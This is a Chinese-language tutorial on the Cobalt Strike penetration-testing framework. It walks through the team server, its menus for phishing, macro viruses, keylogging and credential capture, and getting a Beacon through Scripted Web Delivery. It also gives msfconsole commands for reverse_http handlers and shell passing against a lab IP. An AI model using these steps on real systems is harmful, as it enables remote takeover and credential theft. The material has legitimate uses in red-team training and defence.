Cobalt Strike简介
Cobalt Strike是一款由java编写的全平台多方协同渗透测试框架,在3.0版本之前它基于Metasploit框架工作,在3.0后的版本以独立成一个渗透测试平台。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节,且其最大的优点在于可以进行团队合作和优越的UI界面。
Cobalt Strike文件结构
│ agscript 拓展应用的脚本 │ c2lint 检查profile的错误异常 │ cobaltstrike 客户端程序 │ cobaltstrike.jar │ logs 日志 │ data TeamServer的一些数据 │ teamserver 团队服务器程序 │ update 用于更新Cobalt Strike │ update.jar │ third-party 第三方工具
Cobalt Strike使用
CobaltStrike分为客户端和服务端,Cobalt Strike 需要团队服务器才能使用。
(1)启动TeamServer
teamserver 192.168.178.128 123456 #ip为本机服务器ip 123456为设置的密码
如果要将团队服务器部署在公网上,记得加强密码强度,防止团队服务器密码被破解
(2)启动Cobalt Strike Client
Host为团队服务器ip地址
Port为默认端口
User为连接的用户,用户可以自行选择
Password为团队服务器设置的密码
点击Connect连接之后
再点击是,则加入成功。
Cobalt Strike模块详解
Cobalt Strike模块
New Connection # 新建连接,支持连接多个服务器端 Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录 Visualization # 主要展示输出结果的视图 VPN Interfaces # 设置VPN接口 Listenrs # 创建监听器 Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等 Close # 退出连接
View模块
Applications # 显示受害主机的应用信息 Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz Downloads # 查看已下载文件 Event Log # 主机上线记录以及团队协作聊天记录 Keystrokes # 查看键盘记录结果 Proxy Pivots # 查看代理模块 Screenshots # 查看所有屏幕截图 Script Console # 加载第三方脚本以增强功能 Targets # 显示所有受害主机 Web Log # 所有Web服务的日志
Attacks模块
Packages
HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件 MS Office Macro # 生成office宏病毒文件 Payload Generator # 生成各种语言版本的payload Windows Executable # 生成可执行exe木马 Windows Executable(Stageless) # 生成无状态的可执行exe木马
Web-Drive-by
Manage # 对开启的web服务进行管理 Clone Site # 克隆网站,可以记录受害者提交的数据 Host File # 提供文件下载,可以选择Mime类型 Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时) Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时) Spear Phish # 鱼叉钓鱼邮件
Reporting模块
Activity Report # 活动报告 Hosts Report # 主机报告 Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes Sessions Report # 会话报告 Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录 Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略 Reset Data # 重置数据 Export Data # 导出数据,导出.tsv文件格式
Help模块
Homepage # 官方主页 Support # 技术支持 Arsenal # 开发者 System information # 版本信息 About # 关于
工具导航栏
1.新建连接 2.断开当前连接 3.监听器 4.改变视图为Pivot Graph(视图列表) 5.改变视图为Session Table(会话列表) 6.改变视图为Target Table(目标列表) 7.显示所有以获取的受害主机的凭证 8.查看已下载文件 9.查看键盘记录结果 10.查看屏幕截图 11.生成无状态的可执行exe木马 12.使用java自签名的程序进行钓鱼攻击 13.生成office宏病毒文件 14.为payload提供web服务以便下载和执行 15.提供文件下载,可以选择Mime类型 16.管理Cobalt Strike上运行的web服务 17.帮助 18.关于
利用Cobalt Strike获取一个Beacon
1、创建Listener
在Listeners的面板中点击Add
然后输入名称(任意),选择监听器类型,团队服务器ip和监听端口保存即可。
然后在监听的面板中就可以看到我们的监听器
在有了监听器之后,我们就可以选择我们的攻击模块进行漏洞利用了。我们这里选择Scripted Web Delivery攻击模块(为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery)
然后配置号监听端口和监听器后点击Launch
然后会生成一个payload
复制payload在powershell中执行,肉鸡即可上线
我们可以进如Interact的交互模式进行执行命令
Cobalt Strike功能详解
Listeners(监听模块)
在监听模块中内置了八个内置payload
wndows/beacon_dns/reverse_dns_txt windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_bind_pipe windows/beacon_tcp windows/beacon_extc2 windows/foreign/reverse_http windows/foreign/reverse_https
这些payload中windows/beacon为内置监听器,且有dns、http、https、smb、tcp、extc2六种监听方式,windows/foreign为外部监听器。
内置监听器的使用原理和之前配置监听器原理大致相同,这里主要再演示一下外部监听器的使用。
首先我们选择外置监听器Foreign模块,填写相关配置内容
然后打开在msf中配置相应监听模块
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http msf5 exploit(multi/handler) > set lhost 192.168.178.128 #此处的IP地址和监听端口要和cs中设置的保持一致 msf5 exploit(multi/handler) > set lport 4444 msf5 exploit(multi/handler) > run
配置好之后我们就可以通过此监听器来传递我们的shell了,点击spawn
选择我们设置的msf这个外监听器
这样在msf这边就可以接受到cs这边传递过来的shell
这里讲述到了cs传递shell到msf,就不得不在提一提msf传递到cs了。
首先我们把刚才接受到的session退出,这里记住这个session的id为1
然后使用模块
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http #切记这里的payload的协议要与cs的一致
选择上了这个模块之后我们在回到cs上创建一个监听器,我这里有个之前创建好的监听器
那我们继续回到msf上配置session和lhost和lport(切记这里的lhost和lport要和cs上监听器上配置的是一致的)
然后run执行在cs上等待上线即可。
Attacks(攻击模块)
Scripted Web Delivery
上面演示的是使用attacks模块中的scripted web delivery模块来进行拿到靶机的shell
这里有几个配置选项
URL Path:存放payload的位置 Local Host:团队服务器ip地址 Local Port:团队服务器端口 Listener:监听器 Type:要选择的脚本类型
全部配置好了之后,点击launch后,会弹出payload
在靶机上运行之后,靶机会在Teamserver下载payload,然后执行并加载到内存中,从而获取主机的Beacon。
Manage
我们生成的监听器和一些payload都能在这里进行管理。
Windows Executable
使用方法也和之前大致相同,配置好监听器和Output即可,这里的Output分为EXE和DLL两种类型。
Windows EXE:windows的可执行文件 Windows Service EXE:基于服务的windows可执行文件,可以将可执行文件添加到服务中。 Windows DLL:DLL文件,一般用于DLL劫持、提权和反弹Beacon。
Payload Generator
配置监听器,选择对应脚本语言即可。